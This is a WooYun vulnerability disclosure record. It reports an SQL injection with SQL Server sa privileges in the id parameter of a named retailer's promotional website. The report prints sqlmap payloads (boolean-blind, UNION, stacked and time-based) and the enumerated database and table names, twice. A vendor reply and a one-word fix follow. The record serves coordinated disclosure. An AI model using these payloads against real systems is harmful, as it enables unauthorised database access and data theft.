当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-089334

漏洞标题:良品铺子某系统高危SQL注射(SA权限)

相关厂商:良品铺子

漏洞作者: 路人甲

提交时间:2014-12-30 14:39

修复时间:2015-02-13 14:40

公开时间:2015-02-13 14:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-30: 细节已通知厂商并且等待厂商处理中
2015-01-03: 厂商已经确认,细节仅向厂商公开
2015-01-13: 细节向核心白帽子及相关领域专家公开
2015-01-23: 细节向普通白帽子公开
2015-02-02: 细节向实习白帽子公开
2015-02-13: 细节向公众公开

简要描述:

良品铺子某系统高危SQL注射(SA权限)

详细说明:

链接:http://www.517lppz.cn/map.aspx?id=1
字段id未过滤。

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5836=5836
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-5132 UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(120)+CHAR(106)+CHAR(113)+CHAR(65)+CHAR(98)+CHAR(106)+CHAR(115)+CHAR(80)+CHAR(109)+CHAR(72)+CHAR(107)+CHAR(81)+CHAR(119)+CHAR(113)+CHAR(120)+CHAR(118)+CHAR(98)+CHAR(113),NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
database management system users privileges:
[*] sa (administrator)
[*] whlppz
available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] whlppz


Database: whlppz
[45 tables]
+--------------------+
| AboutInfo |
| BookInfo |
| CityInfo |
| ContactInfo |
| CountyInfo |
| D99_REG |
| D99_Tmp |
| DeliveryAddress |
| ExchangeEcordsInfo |
| GoodsInfo |
| GoodsType |
| IdPptInfo |
| IndexPPTInfo |
| IntegralRule |
| LinkInfo |
| LocationInfo |
| LocationPhoto |
| LocationType |
| LoveInfo |
| LovePhoto |
| NewsInfo |
| NewsType |
| NoticeInfo |
| NoticeType |
| NtPptInfo |
| OrderInfo |
| PPTInfo |
| PageSizeInfo |
| Price |
| PriceType |
| ProvinceInfo |
| ScoreAddRecord |
| ScoreAddType |
| UserInfo |
| VipInfo |
| WebKeyWord |
| WebSiteInfo |
| caseInfo |
| casePhoto |
| caseType |
| dianMianInfo |
| guangGao |
| loveType |
| yinHua |
| zhaoPingInfo |
+--------------------+


不再深入

漏洞证明:

链接:http://www.517lppz.cn/map.aspx?id=1
字段id未过滤。

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5836=5836
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-5132 UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(120)+CHAR(106)+CHAR(113)+CHAR(65)+CHAR(98)+CHAR(106)+CHAR(115)+CHAR(80)+CHAR(109)+CHAR(72)+CHAR(107)+CHAR(81)+CHAR(119)+CHAR(113)+CHAR(120)+CHAR(118)+CHAR(98)+CHAR(113),NULL,NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: Microsoft IIS 7.5, ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
database management system users privileges:
[*] sa (administrator)
[*] whlppz
available databases [5]:
[*] master
[*] model
[*] msdb
[*] tempdb
[*] whlppz


Database: whlppz
[45 tables]
+--------------------+
| AboutInfo |
| BookInfo |
| CityInfo |
| ContactInfo |
| CountyInfo |
| D99_REG |
| D99_Tmp |
| DeliveryAddress |
| ExchangeEcordsInfo |
| GoodsInfo |
| GoodsType |
| IdPptInfo |
| IndexPPTInfo |
| IntegralRule |
| LinkInfo |
| LocationInfo |
| LocationPhoto |
| LocationType |
| LoveInfo |
| LovePhoto |
| NewsInfo |
| NewsType |
| NoticeInfo |
| NoticeType |
| NtPptInfo |
| OrderInfo |
| PPTInfo |
| PageSizeInfo |
| Price |
| PriceType |
| ProvinceInfo |
| ScoreAddRecord |
| ScoreAddType |
| UserInfo |
| VipInfo |
| WebKeyWord |
| WebSiteInfo |
| caseInfo |
| casePhoto |
| caseType |
| dianMianInfo |
| guangGao |
| loveType |
| yinHua |
| zhaoPingInfo |
+--------------------+


不再深入

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-01-03 15:52

厂商回复:

公司宣传网站,并非商城业务网站,暂无重要用户数据。。不过还是感谢漏洞作者的提交。。我们尽快处理。。谢谢。。

最新状态:

暂无


漏洞评价:

评论